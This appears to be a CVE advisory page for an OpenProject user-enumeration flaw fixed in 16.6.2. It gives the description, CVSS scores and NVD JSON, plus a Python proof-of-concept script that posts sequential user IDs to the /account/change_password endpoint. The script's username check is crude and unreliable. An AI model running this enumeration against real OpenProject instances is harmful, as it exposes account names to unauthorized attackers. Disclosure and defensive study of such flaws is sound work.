Security Vulnerability Report
中文
CVE-2026-22604 CVSS 5.3 MEDIUM

CVE-2026-22604

Published: 2026-01-10 02:15:49
Last Modified: 2026-01-14 22:27:24

Description

OpenProject is an open-source, web-based project management software. For OpenProject versions from 11.2.1 to before 16.6.2, when sending a POST request to the /account/change_password endpoint with an arbitrary User ID as the password_change_user_id parameter, the resulting error page would show the username for the requested user. Since this endpoint is intended to be called without being authenticated, this allows to enumerate the user names of all accounts registered in an OpenProject instance. This issue has been patched in version 16.6.2.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:openproject:openproject:*:*:*:*:*:*:*:* - VULNERABLE
OpenProject 11.2.1 至 16.6.2之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-22604 PoC - OpenProject User Enumeration # Target: OpenProject instances < 16.6.2 # Endpoint: /account/change_password def enumerate_users(target_url, user_ids): """ Enumerate usernames from OpenProject via /account/change_password endpoint """ found_users = [] endpoint = f"{target_url.rstrip('/')}/account/change_password" for user_id in user_ids: # Send POST request with arbitrary user_id data = { 'password_change_user_id': str(user_id), 'form_submit': '1' } try: response = requests.post(endpoint, data=data, timeout=10, verify=False) # Check if username is leaked in response # The error page reveals the username for the requested user ID if response.status_code == 200: # Extract potential username from error message # Pattern varies, typically found in error messages or page content text = response.text # Look for common patterns indicating username exposure if 'user' in text.lower() or 'username' in text.lower(): print(f"[*] User ID {user_id}: Potential username found in response") found_users.append({'user_id': user_id, 'response_length': len(text)}) else: print(f"[-] User ID {user_id}: No username found") else: print(f"[-] User ID {user_id}: HTTP {response.status_code}") except requests.RequestException as e: print(f"[!] Error for User ID {user_id}: {e}") return found_users if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2026-22604-poc.py <target_url> [start_id] [end_id]") print("Example: python cve-2026-22604-poc.py https://openproject.example.com 1 1000") sys.exit(1) target = sys.argv[1] start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1 end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 100 user_ids = range(start_id, end_id + 1) print(f"[*] Starting enumeration against {target}") print(f"[*] Enumerating user IDs {start_id} to {end_id}") results = enumerate_users(target, user_ids) print(f"\n[*] Found {len(results)} potential usernames")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22604", "sourceIdentifier": "[email protected]", "published": "2026-01-10T02:15:49.343", "lastModified": "2026-01-14T22:27:23.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenProject is an open-source, web-based project management software. For OpenProject versions from 11.2.1 to before 16.6.2, when sending a POST request to the /account/change_password endpoint with an arbitrary User ID as the password_change_user_id parameter, the resulting error page would show the username for the requested user. Since this endpoint is intended to be called without being authenticated, this allows to enumerate the user names of all accounts registered in an OpenProject instance. This issue has been patched in version 16.6.2."}, {"lang": "es", "value": "OpenProject es un software de gestión de proyectos de código abierto y basado en web. Para las versiones de OpenProject desde la 11.2.1 hasta antes de la 16.6.2, al enviar una solicitud POST al endpoint /account/change_password con un ID de usuario arbitrario como parámetro password_change_user_id, la página de error resultante mostraría el nombre de usuario del usuario solicitado. Dado que este endpoint está diseñado para ser llamado sin autenticación, esto permite enumerar los nombres de usuario de todas las cuentas registradas en una instancia de OpenProject. Este problema ha sido parcheado en la versión 16.6.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openproject:openproject:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.1", "versionEndExcluding": "16.6.2", "matchCriteriaId": "2307C060-CCE8-426E-B5C5-BD80528E4335"}]}]}], "references": [{"url": "https://github.com/opf/openproject/commit/2cff5e98649e32a197a62659a23dd4b864b7855b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opf/openproject/pull/3451", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/opf/openproject/releases/tag/v16.6.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/opf/openproject/security/advisories/GHSA-q7qp-p3vw-j2fh", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}